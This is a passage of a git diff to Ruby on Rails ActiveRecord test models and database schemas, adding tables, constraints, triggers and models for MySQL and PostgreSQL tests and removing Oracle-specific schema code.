+  has_one :account_invalid
+
+  has_one :account_class_name, class_name: "AccountInvalid"
+
+  has_many :user_info_invalid
+  has_many :info_invalids, through: :user_info_invalid
+
+  has_many :infos_class_name, through: :user_info, class_name: "InfoInvalid"
+
+  has_many :user_infos_class_name, class_name: "UserInfoInvalid"
+  has_many :infos_through_class_name, through: :user_infos_class_name, class_name: "InfoInvalid"
+end
+
+class AccountInvalid; end
+
+class InfoInvalid; end
+
+class UserInfoInvalid < ActiveRecord::Base
+  belongs_to :info_invalid
+  belongs_to :user_invalid
+end
diff --git a/activerecord/test/models/uuid_child.rb b/activerecord/test/models/uuid_child.rb
index a3d0962ad68fb..9fce361cc8ae1 100644
--- a/activerecord/test/models/uuid_child.rb
+++ b/activerecord/test/models/uuid_child.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class UuidChild < ActiveRecord::Base
   belongs_to :uuid_parent
 end
diff --git a/activerecord/test/models/uuid_comment.rb b/activerecord/test/models/uuid_comment.rb
new file mode 100644
index 0000000000000..62736af32f63b
--- /dev/null
+++ b/activerecord/test/models/uuid_comment.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class UuidComment < ActiveRecord::Base
+  has_one :uuid_entry, as: :entryable
+end
diff --git a/activerecord/test/models/uuid_entry.rb b/activerecord/test/models/uuid_entry.rb
new file mode 100644
index 0000000000000..9bb79a0e7c58b
--- /dev/null
+++ b/activerecord/test/models/uuid_entry.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class UuidEntry < ActiveRecord::Base
+  delegated_type :entryable, types: %w[ UuidMessage UuidComment ], primary_key: :uuid, foreign_key: :entryable_uuid
+end
diff --git a/activerecord/test/models/uuid_item.rb b/activerecord/test/models/uuid_item.rb
index 2353e402137ea..41f68c4c1829f 100644
--- a/activerecord/test/models/uuid_item.rb
+++ b/activerecord/test/models/uuid_item.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class UuidItem < ActiveRecord::Base
 end
 
diff --git a/activerecord/test/models/uuid_message.rb b/activerecord/test/models/uuid_message.rb
new file mode 100644
index 0000000000000..904414f8de5cf
--- /dev/null
+++ b/activerecord/test/models/uuid_message.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class UuidMessage < ActiveRecord::Base
+  has_one :uuid_entry, as: :entryable
+end
diff --git a/activerecord/test/models/uuid_parent.rb b/activerecord/test/models/uuid_parent.rb
index 5634f22d0c5ca..05db61855e4e4 100644
--- a/activerecord/test/models/uuid_parent.rb
+++ b/activerecord/test/models/uuid_parent.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class UuidParent < ActiveRecord::Base
   has_many :uuid_children
 end
diff --git a/activerecord/test/models/vegetables.rb b/activerecord/test/models/vegetables.rb
index a4590d06e0476..0cb3ba386e47c 100644
--- a/activerecord/test/models/vegetables.rb
+++ b/activerecord/test/models/vegetables.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Vegetable < ActiveRecord::Base
   validates_presence_of :name
 
@@ -21,3 +23,11 @@ class KingCole < GreenCabbage
 class RedCabbage < Cabbage
   belongs_to :seller, class_name: "Company"
 end
+
+class YellingVegetable < Vegetable
+  after_initialize :format_name
+
+  def format_name
+    self.name = name&.upcase
+  end
+end
diff --git a/activerecord/test/models/vehicle.rb b/activerecord/test/models/vehicle.rb
deleted file mode 100644
index 855bc4e325c7b..0000000000000
--- a/activerecord/test/models/vehicle.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-class Vehicle < ActiveRecord::Base
-  self.abstract_class = true
-  default_scope -> { where("tires_count IS NOT NULL") }
-end
-
-class Bus < Vehicle
-end
diff --git a/activerecord/test/models/vertex.rb b/activerecord/test/models/vertex.rb
index 3d19433b6fa8b..0ad8114898c1b 100644
--- a/activerecord/test/models/vertex.rb
+++ b/activerecord/test/models/vertex.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 # This class models a vertex in a directed graph.
 class Vertex < ActiveRecord::Base
   has_many :sink_edges, class_name: "Edge", foreign_key: "source_id"
diff --git a/activerecord/test/models/warehouse_thing.rb b/activerecord/test/models/warehouse_thing.rb
index f20bd1a24529a..099633af55d7d 100644
--- a/activerecord/test/models/warehouse_thing.rb
+++ b/activerecord/test/models/warehouse_thing.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class WarehouseThing < ActiveRecord::Base
   self.table_name = "warehouse-things"
 
diff --git a/activerecord/test/models/wheel.rb b/activerecord/test/models/wheel.rb
index cba2b3e5188ed..22fc74995f90d 100644
--- a/activerecord/test/models/wheel.rb
+++ b/activerecord/test/models/wheel.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Wheel < ActiveRecord::Base
-  belongs_to :wheelable, polymorphic: true, counter_cache: true
+  belongs_to :wheelable, polymorphic: true, counter_cache: true, touch: :wheels_owned_at
 end
diff --git a/activerecord/test/models/without_table.rb b/activerecord/test/models/without_table.rb
index 7c0fc286e148c..fc0a52d6adca5 100644
--- a/activerecord/test/models/without_table.rb
+++ b/activerecord/test/models/without_table.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class WithoutTable < ActiveRecord::Base
   default_scope -> { where(published: true) }
 end
diff --git a/activerecord/test/models/zine.rb b/activerecord/test/models/zine.rb
index 3f2b348b46bda..5d4e226267e96 100644
--- a/activerecord/test/models/zine.rb
+++ b/activerecord/test/models/zine.rb
@@ -1,3 +1,6 @@
+# frozen_string_literal: true
+
 class Zine < ActiveRecord::Base
   has_many :interests, inverse_of: :zine
+  has_many :polymorphic_humans, through: :interests, source_type: "Human"
 end
diff --git a/activerecord/test/schema/mysql2_specific_schema.rb b/activerecord/test/schema/mysql2_specific_schema.rb
index 9a203a729333b..320911dbd9ad5 100644
--- a/activerecord/test/schema/mysql2_specific_schema.rb
+++ b/activerecord/test/schema/mysql2_specific_schema.rb
@@ -1,14 +1,34 @@
+# frozen_string_literal: true
+
 ActiveRecord::Schema.define do
+  create_table :datetime_defaults, force: true do |t|
+    t.datetime :modified_datetime, precision: nil, default: -> { "CURRENT_TIMESTAMP" }
+    t.datetime :precise_datetime, default: -> { "CURRENT_TIMESTAMP(6)" }
+    t.datetime :updated_datetime, default: -> { "CURRENT_TIMESTAMP(6) ON UPDATE CURRENT_TIMESTAMP(6)" }
+  end
+
+  create_table :timestamp_defaults, force: true do |t|
+    t.timestamp :nullable_timestamp
+    t.timestamp :modified_timestamp, precision: nil, default: -> { "CURRENT_TIMESTAMP" }
+    t.timestamp :precise_timestamp, precision: 6, default: -> { "CURRENT_TIMESTAMP(6)" }
+    t.timestamp :updated_timestamp, precision: 6, default: -> { "CURRENT_TIMESTAMP(6) ON UPDATE CURRENT_TIMESTAMP(6)" }
+  end
 
-  if ActiveRecord::Base.connection.version >= "5.6.0"
-    create_table :datetime_defaults, force: true do |t|
-      t.datetime :modified_datetime, default: -> { "CURRENT_TIMESTAMP" }
+  create_table :defaults, force: true do |t|
+    t.date :fixed_date, default: "2004-01-01"
+    t.datetime :fixed_time, default: "2004-01-01 00:00:00"
+    t.column :char1, "char(1)", default: "Y"
+    t.string :char2, limit: 50, default: "a varchar field"
+    if ActiveRecord::TestCase.supports_default_expression?
+      t.binary :uuid, limit: 36, default: -> { "(uuid())" }
+      t.string :char2_concatenated, default: -> { "(concat(`char2`, '-'))" }
     end
   end
 
   create_table :binary_fields, force: true do |t|
     t.binary :var_binary, limit: 255
     t.binary :var_binary_large, limit: 4095
+
     t.tinyblob   :tiny_blob
     t.blob       :normal_blob
     t.mediumblob :medium_blob
@@ -18,10 +38,17 @@
     t.mediumtext :medium_text
     t.longtext   :long_text
 
+    t.binary :tiny_blob_2, size: :tiny
+    t.binary :medium_blob_2, size: :medium
+    t.binary :long_blob_2, size: :long
+    t.text :tiny_text_2, size: :tiny
+    t.text :medium_text_2, size: :medium
+    t.text :long_text_2, size: :long
+
     t.index :var_binary
   end
 
-  create_table :key_tests, force: true, options: "ENGINE=MyISAM" do |t|
+  create_table :key_tests, force: true, options: "CHARSET=utf8 ENGINE=MyISAM" do |t|
     t.string :awesome
     t.string :pizza
     t.string :snacks
@@ -31,38 +58,39 @@
   end
 
   create_table :collation_tests, id: false, force: true do |t|
-    t.string :string_cs_column, limit: 1, collation: "utf8_bin"
-    t.string :string_ci_column, limit: 1, collation: "utf8_general_ci"
+    t.string :string_cs_column, limit: 1, collation: "utf8mb4_bin"
+    t.string :string_ci_column, limit: 1, collation: "utf8mb4_general_ci"
     t.binary :binary_column,    limit: 1
   end
 
-  ActiveRecord::Base.connection.execute <<-SQL
-DROP PROCEDURE IF EXISTS ten;
-SQL
+  execute "DROP PROCEDURE IF EXISTS ten"
 
-  ActiveRecord::Base.connection.execute <<-SQL
-CREATE PROCEDURE ten() SQL SECURITY INVOKER
-BEGIN
-	select 10;
-END
-SQL
+  execute <<~SQL
+    CREATE PROCEDURE ten() SQL SECURITY INVOKER
+    BEGIN
+      SELECT 10;
+    END
+  SQL
 
-  ActiveRecord::Base.connection.execute <<-SQL
-DROP PROCEDURE IF EXISTS topics;
-SQL
+  execute "DROP PROCEDURE IF EXISTS topics"
 
-  ActiveRecord::Base.connection.execute <<-SQL
-CREATE PROCEDURE topics(IN num INT) SQL SECURITY INVOKER
-BEGIN
-  select * from topics limit num;
-END
-SQL
+  execute <<~SQL
+    CREATE PROCEDURE topics(IN num INT) SQL SECURITY INVOKER
+    BEGIN
+      SELECT * FROM topics LIMIT num;
+    END
+  SQL
 
-  ActiveRecord::Base.connection.drop_table "enum_tests", if_exists: true
+  if supports_insert_returning?
+    create_table :pk_autopopulated_by_a_trigger_records, force: true, id: false do |t|
+      t.integer :id, null: false
+    end
 
-  ActiveRecord::Base.connection.execute <<-SQL
-CREATE TABLE enum_tests (
-  enum_column ENUM('text','blob','tiny','medium','long','unsigned','bigint')
-)
-SQL
+    execute <<~SQL
+      CREATE TRIGGER before_insert_trigger
+      BEFORE INSERT ON pk_autopopulated_by_a_trigger_records
+      FOR EACH ROW
+      SET NEW.id = (SELECT COALESCE(MAX(id), 0) + 1 FROM pk_autopopulated_by_a_trigger_records);
+    SQL
+  end
 end
diff --git a/activerecord/test/schema/oracle_specific_schema.rb b/activerecord/test/schema/oracle_specific_schema.rb
deleted file mode 100644
index 264d9b89107dd..0000000000000
--- a/activerecord/test/schema/oracle_specific_schema.rb
+++ /dev/null
@@ -1,40 +0,0 @@
-ActiveRecord::Schema.define do
-
-  execute "drop table test_oracle_defaults" rescue nil
-  execute "drop sequence test_oracle_defaults_seq" rescue nil
-  execute "drop sequence companies_nonstd_seq" rescue nil
-  execute "drop table defaults" rescue nil
-  execute "drop sequence defaults_seq" rescue nil
-
-  execute <<-SQL
-create table test_oracle_defaults (
-  id integer not null primary key,
-  test_char char(1) default 'X' not null,
-  test_string varchar2(20) default 'hello' not null,
-  test_int integer default 3 not null
-)
-  SQL
-
-  execute <<-SQL
-create sequence test_oracle_defaults_seq minvalue 10000
-  SQL
-
-  execute "create sequence companies_nonstd_seq minvalue 10000"
-
-  execute <<-SQL
-  CREATE TABLE defaults (
-      id integer not null,
-      modified_date date default sysdate,
-      modified_date_function date default sysdate,
-      fixed_date date default to_date('2004-01-01', 'YYYY-MM-DD'),
-      modified_time date default sysdate,
-      modified_time_function date default sysdate,
-      fixed_time date default TO_DATE('2004-01-01 00:00:00', 'YYYY-MM-DD HH24:MI:SS'),
-      char1 varchar2(1) default 'Y',
-      char2 varchar2(50) default 'a varchar field',
-      char3 clob default 'a text field'
-  )
-  SQL
-  execute "create sequence defaults_seq minvalue 10000"
-
-end
diff --git a/activerecord/test/schema/postgresql_specific_schema.rb b/activerecord/test/schema/postgresql_specific_schema.rb
index 860c63b27c7c3..9fdda11b000e9 100644
--- a/activerecord/test/schema/postgresql_specific_schema.rb
+++ b/activerecord/test/schema/postgresql_specific_schema.rb
@@ -1,33 +1,70 @@
+# frozen_string_literal: true
+
 ActiveRecord::Schema.define do
+  ActiveRecord::TestCase.enable_extension!("uuid-ossp", connection)
+  ActiveRecord::TestCase.enable_extension!("pgcrypto",  connection) if supports_pgcrypto_uuid?
+
+  uuid_default = supports_pgcrypto_uuid? ? {} : { default: "uuid_generate_v4()" }
 
-  enable_extension!("uuid-ossp", ActiveRecord::Base.connection)
-  enable_extension!("pgcrypto",  ActiveRecord::Base.connection) if ActiveRecord::Base.connection.supports_pgcrypto_uuid?
+  create_table :chat_messages, id: :uuid, force: true, **uuid_default do |t|
+    t.text :content
+  end
 
-  create_table :uuid_parents, id: :uuid, force: true do |t|
+  create_table :chat_messages_custom_pk, id: false, force: true do |t|
+    t.uuid :message_id, primary_key: true, default: "uuid_generate_v4()"
+    t.text :content
+  end
+
+  create_table :uuid_parents, id: :uuid, force: true, **uuid_default do |t|
     t.string :name
   end
 
-  create_table :uuid_children, id: :uuid, force: true do |t|
+  create_table :uuid_children, id: :uuid, force: true, **uuid_default do |t|
     t.string :name
     t.uuid :uuid_parent_id
   end
 
   create_table :defaults, force: true do |t|
+    t.virtual :virtual_stored_number, type: :integer, as: "random_number * 10", stored: true if supports_virtual_columns?
+    t.integer :random_number, default: -> { "random() * 100" }
+    t.string :ruby_on_rails, default: -> { "concat('Ruby ', 'on ', 'Rails')" }
     t.date :modified_date, default: -> { "CURRENT_DATE" }
     t.date :modified_date_function, default: -> { "now()" }
     t.date :fixed_date, default: "2004-01-01"
     t.datetime :modified_time, default: -> { "CURRENT_TIMESTAMP" }
+    t.datetime :modified_time_without_precision, precision: nil, default: -> { "CURRENT_TIMESTAMP" }
+    t.datetime :modified_time_with_precision_0, precision: 0, default: -> { "CURRENT_TIMESTAMP" }
     t.datetime :modified_time_function, default: -> { "now()" }
     t.datetime :fixed_time, default: "2004-01-01 00:00:00.000000-00"
+    t.timestamptz :fixed_time_with_time_zone, default: "2004-01-01 01:00:00+1"
     t.column :char1, "char(1)", default: "Y"
     t.string :char2, limit: 50, default: "a varchar field"
     t.text :char3, default: "a text field"
     t.bigint :bigint_default, default: -> { "0::bigint" }
+    t.binary :binary_default_function, default: -> { "convert_to('A', 'UTF8')" }
     t.text :multiline_default, default: "--- []
 
 "
   end
 
+  if supports_identity_columns?
+    drop_table "postgresql_identity_table", if_exists: true
+    execute <<~SQL
+      create table postgresql_identity_table (
+        id INT PRIMARY KEY GENERATED BY DEFAULT AS IDENTITY
+      )
+    SQL
+
+    drop_table "cpk_postgresql_identity_table", if_exists: true
+    execute <<~SQL
+      create table cpk_postgresql_identity_table (
+        another_id INT NOT NULL,
+        id INT NOT NULL GENERATED BY DEFAULT AS IDENTITY,
+        CONSTRAINT cpk_postgresql_identity_table_pkey PRIMARY KEY (another_id, id)
+      )
+    SQL
+  end
+
   create_table :postgresql_times, force: true do |t|
     t.interval :time_interval
     t.interval :scaled_time_interval, precision: 6
@@ -101,8 +138,96 @@
     t.decimal :decimal_array_default, array: true, default: [1.23, 3.45]
   end
 
+  create_table :uuid_comments, force: true, id: false do |t|
+    t.uuid :uuid, primary_key: true, **uuid_default
+    t.string :content
+  end
+
+  create_table :uuid_entries, force: true, id: false do |t|
+    t.uuid :uuid, primary_key: true, **uuid_default
+    t.string :entryable_type, null: false
+    t.uuid :entryable_uuid, null: false
+  end
+
   create_table :uuid_items, force: true, id: false do |t|
-    t.uuid :uuid, primary_key: true
+    t.uuid :uuid, primary_key: true, **uuid_default
     t.string :title
   end
+
+  create_table :uuid_messages, force: true, id: false do |t|
+    t.uuid :uuid, primary_key: true, **uuid_default
+    t.string :subject
+  end
+
+  create_table :test_exclusion_constraints, force: true do |t|
+    t.date :start_date
+    t.date :end_date
+    t.date :valid_from
+    t.date :valid_to
+    t.date :transaction_from
+    t.date :transaction_to
+
+    t.exclusion_constraint "daterange(start_date, end_date) WITH &&", using: :gist, where: "start_date IS NOT NULL AND end_date IS NOT NULL", name: "test_exclusion_constraints_date_overlap"
+    t.exclusion_constraint "daterange(valid_from, valid_to) WITH &&", using: :gist, where: "valid_from IS NOT NULL AND valid_to IS NOT NULL", name: "test_exclusion_constraints_valid_overlap", deferrable: :immediate
+    t.exclusion_constraint "daterange(transaction_from, transaction_to) WITH &&", using: :gist, where: "transaction_from IS NOT NULL AND transaction_to IS NOT NULL", name: "test_exclusion_constraints_transaction_overlap", deferrable: :deferred
+  end
+
+  create_table :test_unique_constraints, force: true do |t|
+    t.integer :position_1
+    t.integer :position_2
+    t.integer :position_3
+    t.integer :position_4
+
+    t.unique_constraint :position_1, name: "test_unique_constraints_position_deferrable_false"
+    t.unique_constraint :position_2, name: "test_unique_constraints_position_deferrable_immediate", deferrable: :immediate
+    t.unique_constraint :position_3, name: "test_unique_constraints_position_deferrable_deferred", deferrable: :deferred
+    t.unique_constraint :position_4, name: "test_unique_constraints_position_nulls_not_distinct", nulls_not_distinct: true
+  end
+
+  if supports_partitioned_indexes?
+    begin
+      previous_unlogged_tables = ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.create_unlogged_tables
+      ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.create_unlogged_tables = false
+
+      create_table(:measurements, id: false, force: true, options: "PARTITION BY LIST (city_id)") do |t|
+        t.string :city_id, null: false
+        t.date :logdate, null: false
+        t.integer :peaktemp
+        t.integer :unitsales
+        t.index [:logdate, :city_id], unique: true
+      end
+      create_table(:measurements_toronto, id: false, force: true,
+                                          options: "PARTITION OF measurements FOR VALUES IN (1)")
+      create_table(:measurements_concepcion, id: false, force: true,
+                                            options: "PARTITION OF measurements FOR VALUES IN (2)")
+    ensure
+      ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.create_unlogged_tables = previous_unlogged_tables
+    end
+  end
+
+  add_index(:companies, [:firm_id, :type], name: "company_include_index", include: [:name, :account_id])
+
+  if supports_insert_returning?
+    create_table :pk_autopopulated_by_a_trigger_records, force: true, id: false do |t|
+      t.integer :id, null: false
+    end
+
+    execute <<~SQL
+      CREATE OR REPLACE FUNCTION populate_column()
+      RETURNS TRIGGER AS $$
+      DECLARE
+        max_value INTEGER;
+      BEGIN
+          SELECT MAX(id) INTO max_value FROM pk_autopopulated_by_a_trigger_records;
+          NEW.id = COALESCE(max_value, 0) + 1;
+          RETURN NEW;
+      END;
+      $$ LANGUAGE plpgsql;
+
+      CREATE TRIGGER before_insert_trigger
+      BEFORE INSERT ON pk_autopopulated_by_a_trigger_records
+      FOR EACH ROW
+      EXECUTE FUNCTION populate_column();
+    SQL
+  end
 end
diff --git a/activerecord/test/schema/schema.rb b/activerecord/test/schema/schema.rb
index 08bef08abc7ca..111b460877841 100644
--- a/activerecord/test/schema/schema.rb
+++ b/activerecord/test/schema/schema.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 ActiveRecord::Schema.define do
   # ------------------------------------------------------------------- #
   #                                                                     #
@@ -6,10 +8,17 @@
   #                                                                     #
   # ------------------------------------------------------------------- #
 
+  create_table :"1_need_quoting", force: true do |t|
+    t.string :name
+  end
+
   create_table :accounts, force: true do |t|
-    t.integer :firm_id
+    t.references :firm, index: false
     t.string  :firm_name
     t.integer :credit_limit
+    t.string :status
+    t.integer "a" * max_identifier_length
+    t.datetime :updated_at
   end
 
   create_table :admin_accounts, force: true do |t|
@@ -19,6 +28,25 @@
   create_table :admin_users, force: true do |t|
     t.string :name
     t.string :settings, null: true, limit: 1024
+    t.string :parent, null: true, limit: 1024
+    t.string :spouse, null: true, limit: 1024
+    t.string :configs, null: true, limit: 1024
+    # MySQL does not allow default values for blobs. Fake it out with a
+    # big varchar below.
+    t.string :preferences, null: true, default: "", limit: 1024
+    t.string :json_data, null: true, limit: 1024
+    t.string :json_data_empty, null: true, default: "", limit: 1024
+    t.text :params
+    t.references :account
+    t.json :json_options
+  end
+
+  create_table :admin_user_jsons, force: true do |t|
+    t.string :name
+    t.string :settings, null: true, limit: 1024
+    t.string :parent, null: true, limit: 1024
+    t.string :spouse, null: true, limit: 1024
+    t.string :configs, null: true, limit: 1024
     # MySQL does not allow default values for blobs. Fake it out with a
     # big varchar below.
     t.string :preferences, null: true, default: "", limit: 1024
@@ -31,6 +59,8 @@
   create_table :aircraft, force: true do |t|
     t.string :name
     t.integer :wheels_count, default: 0, null: false
+    t.datetime :wheels_owned_at
+    t.timestamp :manufactured_at, default: -> { "CURRENT_TIMESTAMP" }
   end
 
   create_table :articles, force: true do |t|
@@ -46,6 +76,10 @@
     t.references :tag
   end
 
+  create_table :attachments, force: true do |t|
+    t.references :record, polymorphic: true, null: false
+  end
+
   create_table :audit_logs, force: true do |t|
     t.column :message, :string, null: false
     t.column :developer_id, :integer, null: false
@@ -63,7 +97,7 @@
   create_table :author_addresses, force: true do |t|
   end
 
-  add_foreign_key :authors, :author_addresses
+  add_foreign_key :authors, :author_addresses, deferrable: :immediate
 
   create_table :author_favorites, force: true do |t|
     t.column :author_id, :integer
@@ -71,14 +105,16 @@
   end
 
   create_table :auto_id_tests, force: true, id: false do |t|
-    t.primary_key :auto_id
     t.integer     :value
+    t.timestamp   :published_at, default: -> { "CURRENT_TIMESTAMP" }
+    t.primary_key :auto_id
   end
 
   create_table :binaries, force: true do |t|
     t.string :name
     t.binary :data
     t.binary :short_data, limit: 2048
+    t.blob :blob_data
   end
 
   create_table :birds, force: true do |t|
@@ -87,19 +123,56 @@
     t.integer :pirate_id
   end
 
-  create_table :books, force: true do |t|
+  create_table :books, id: :integer, force: true do |t|
+    default_zero = { default: 0 }
     t.references :author
     t.string :format
+    t.integer :format_record_id
+    t.string :format_record_type
     t.column :name, :string
-    t.column :status, :integer, default: 0
-    t.column :read_status, :integer, default: 0
+    t.column :status, :integer, **default_zero
+    t.column :last_read, :integer, **default_zero
     t.column :nullable_status, :integer
-    t.column :language, :integer, default: 0
-    t.column :author_visibility, :integer, default: 0
-    t.column :illustrator_visibility, :integer, default: 0
-    t.column :font_size, :integer, default: 0
-    t.column :difficulty, :integer, default: 0
+    t.column :language, :integer, **default_zero
+    t.column :author_visibility, :integer, **default_zero
+    t.column :illustrator_visibility, :integer, **default_zero
+    t.column :font_size, :integer, **default_zero
+    t.column :difficulty, :integer, **default_zero
     t.column :cover, :string, default: "hard"
+    t.column :symbol_status, :string, default: "proposed"
+    t.string :isbn
+    t.string :external_id
+    t.column :original_name, :string
+    t.datetime :published_on
+    t.boolean :boolean_status
+    t.index [:author_id, :name], unique: true
+    t.integer :tags_count, default: 0
+    t.index :isbn, where: "published_on IS NOT NULL", unique: true
+    t.index "(lower(external_id))", unique: true if supports_expression_index?
+
+    t.datetime :created_at
+    t.datetime :updated_at
+    t.date :updated_on
+  end
+
+  create_table :book_identifiers, id: :integer, force: true do |t|
+    t.references :book
+    t.string :id_type, null: false
+    t.string :id_value, null: false
+  end
+
+  create_table :encrypted_books, id: :integer, force: true do |t|
+    t.references :author
+    t.string :format
+    t.column :name, :string, default: "<untitled>", limit: 1024
+    t.column :original_name, :string
+    t.column :logo, :binary
+
+    t.datetime :created_at
+    t.datetime :updated_at
+  end
+
+  create_table :hardbacks, force: true do |t|
   end
 
   create_table :booleans, force: true do |t|
@@ -107,7 +180,11 @@
     t.boolean :has_fun, null: false, default: false
   end
 
-  create_table :bulbs, force: true do |t|
+  create_table :branches, force: true do |t|
+    t.references :branch
+  end
+
+  create_table :bulbs, primary_key: "ID", force: true do |t|
     t.integer :car_id
     t.string  :name
     t.boolean :frickinawesome, default: false
@@ -119,9 +196,13 @@
   end
 
   create_table :cars, force: true do |t|
+    t.belongs_to :person
     t.string  :name
     t.integer :engines_count
-    t.integer :wheels_count
+    t.integer :wheels_count, default: 0, null: false
+    t.datetime :wheels_owned_at
+    t.integer :bulbs_count
+    t.integer :custom_tires_count
     t.column :lock_version, :integer, null: false, default: 0
     t.timestamps null: false
   end
@@ -131,13 +212,23 @@
 
   create_table :carriers, force: true
 
+  create_table :carts, force: true, primary_key: [:shop_id, :id] do |t|
+    if ActiveRecord::TestCase.current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+      t.bigint :id, index: true, auto_increment: true, null: false
+    else
+      t.bigint :id, index: true, null: false
+    end
+    t.bigint :shop_id
+    t.string :title
+  end
+
   create_table :categories, force: true do |t|
     t.string :name, null: false
     t.string :type
     t.integer :categorizations_count
   end
 
-  create_table :categories_posts, force: true, id: false do |t|
+  create_table :categories_posts, force: true do |t|
     t.integer :category_id, null: false
     t.integer :post_id, null: false
   end
@@ -151,8 +242,134 @@
   end
 
   create_table :citations, force: true do |t|
-    t.column :book1_id, :integer
-    t.column :book2_id, :integer
+    t.references :book1
+    t.references :book2
+    t.references :citation
+  end
+
+  create_table :cpk_books, primary_key: [:author_id, :id], force: true do |t|
+    t.integer :author_id
+    t.integer :id
+    t.string :title
+    t.integer :revision
+    t.integer :order_id
+    t.integer :shop_id
+  end
+
+  create_table :cpk_chapters, primary_key: [:author_id, :id], force: true do |t|
+    t.integer :author_id
+    t.integer :id
+    t.integer :book_id
+    t.string :title
+  end
+
+  create_table :cpk_authors, force: true do |t|
+    t.string :name
+  end
+
+  create_table :cpk_posts, primary_key: [:title, :author], force: true do |t|
+    t.string :title
+    t.string :author
+  end
+
+  create_table :cpk_posts_tags, force: true do |t|
+    t.string :post_title
+    t.string :post_author
+    t.integer :tag_id
+  end
+
+  create_table :cpk_comments, force: true do |t|
+    t.string :commentable_title
+    t.string :commentable_author
+    t.string :commentable_type
+    t.text :text
+  end
+
+  create_table :cpk_reviews, force: true do |t|
+    t.integer :author_id
+    t.integer :number
+    t.integer :rating
+    t.string :comment
+  end
+
+  # not a composite primary key on the db level to get autoincrement behavior for `id` column
+  # composite primary key is configured on the model level
+  create_table :cpk_orders, force: true do |t|
+    t.integer :shop_id
+    t.string :status
+    t.integer :books_count, default: 0
+  end
+
+  create_table :cpk_order_tags, primary_key: [:order_id, :tag_id], force: true do |t|
+    t.integer :order_id
+    t.integer :tag_id
+    t.string :attached_by
+    t.string :attached_reason
+  end
+
+  create_table :cpk_tags, force: true do |t|
+    t.string :name, null: false
+  end
+
+  create_table :cpk_order_agreements, force: true do |t|
+    t.integer :order_id
+    t.string :signature
+
+    t.index :order_id
+  end
+
+  create_table :cpk_cars, force: true, primary_key: [:make, :model] do |t|
+    t.string :make, null: false
+    t.string :model, null: false
+  end
+
+  create_table :cpk_car_reviews, force: true do |t|
+    t.string :car_make, null: false
+    t.string :car_model, null: false
+    t.text :comment
+    t.integer :rating
+  end
+
+  create_table :paragraphs, force: true do |t|
+    t.references :book
+  end
+
+  create_table :clothing_items, force: true do |t|
+    t.string :clothing_type
+    t.string :color
+    t.string :type
+    t.string :size
+    t.text :description
+
+    t.index [:clothing_type, :color], unique: true
+  end
+
+  create_table :sharded_blogs, force: true do |t|
+    t.string :name
+  end
+
+  create_table :sharded_blog_posts, force: true do |t|
+    t.string :title
+    t.references :parent, polymorphic: true
+    t.integer :blog_id
+    t.integer :revision
+  end
+
+  create_table :sharded_comments, force: true do |t|
+    t.string :body
+    t.integer :blog_post_id
+    t.integer :blog_id
+  end
+
+  create_table :sharded_tags, force: true do |t|
+    t.string :name
+    t.integer :blog_id
+  end
+
+  create_table :sharded_blog_posts_tags, force: true do |t|
+    t.integer :blog_id
+    t.integer :blog_post_id
+    t.integer :tag_id
   end
 
   create_table :clubs, force: true do |t|
@@ -174,40 +391,64 @@
 
   create_table :comments, force: true do |t|
     t.integer :post_id, null: false
-    # use VARCHAR2(4000) instead of CLOB datatype as CLOB data type has many limitations in
-    # Oracle SELECT WHERE clause which causes many unit test failures
-    if current_adapter?(:OracleAdapter)
-      t.string  :body, null: false, limit: 4000
-    else
-      t.text    :body, null: false
-    end
+    t.text    :body, null: false
     t.string  :type
+    t.integer :label, default: 0
     t.integer :tags_count, default: 0
     t.integer :children_count, default: 0
     t.integer :parent_id
     t.references :author, polymorphic: true
+    # The type of the attribute is a string to make sure preload work when types don't match.
+    # See #14855.
     t.string :resource_id
     t.string :resource_type
+    t.integer :origin_id
+    t.string :origin_type
     t.integer :developer_id
+    t.datetime :updated_at
+    t.datetime :deleted_at
+    t.integer :comments
+    t.integer :company
+  end
+
+  create_table :comment_overlapping_counter_caches, force: true do |t|
+    t.integer :user_comments_count_id
+    t.integer :post_comments_count_id
+    t.references :commentable, polymorphic: true, index: false
   end
 
   create_table :companies, force: true do |t|
-    t.string  :type
-    t.integer :firm_id
+    t.string :type
+    t.references :firm, index: false
     t.string  :firm_name
     t.string  :name
-    t.integer :client_of
-    t.integer :rating, default: 1
+    t.bigint :client_of
+    t.bigint :rating, default: 1
     t.integer :account_id
     t.string :description, default: ""
+    t.integer :status, default: 0
+    t.index [:name, :rating], order: :desc
+    t.index [:name, :description], length: 10
     t.index [:firm_id, :type, :rating], name: "company_index", length: { type: 10 }, order: { rating: :desc }
     t.index [:firm_id, :type], name: "company_partial_index", where: "(rating > 10)"
+    t.index [:firm_id], name: "company_nulls_not_distinct", nulls_not_distinct: true
     t.index :name, name: "company_name_index", using: :btree
-    t.index "lower(name)", name: "company_expression_index" if supports_expression_index?
+    if supports_expression_index?
+      t.index "(CASE WHEN rating > 0 THEN lower(name) END) DESC", name: "company_expression_index"
+      if ActiveRecord::TestCase.current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+        t.index "(CONCAT_WS(`firm_name`, `name`, _utf8mb4' '))", name: "full_name_index"
+      end
+    end
+
+    if supports_disabling_indexes?
+      t.index [:firm_id, :client_of], name: "company_disabled_index", enabled: false
+    end
   end
 
   create_table :content, force: true do |t|
     t.string :title
+    t.belongs_to :book
+    t.belongs_to :book_destroy_async
   end
 
   create_table :content_positions, force: true do |t|
@@ -224,16 +465,21 @@
     t.string :system
     t.integer :developer, null: false
     t.integer :extendedWarranty, null: false
+    t.integer :timezone
+    t.timestamps
   end
 
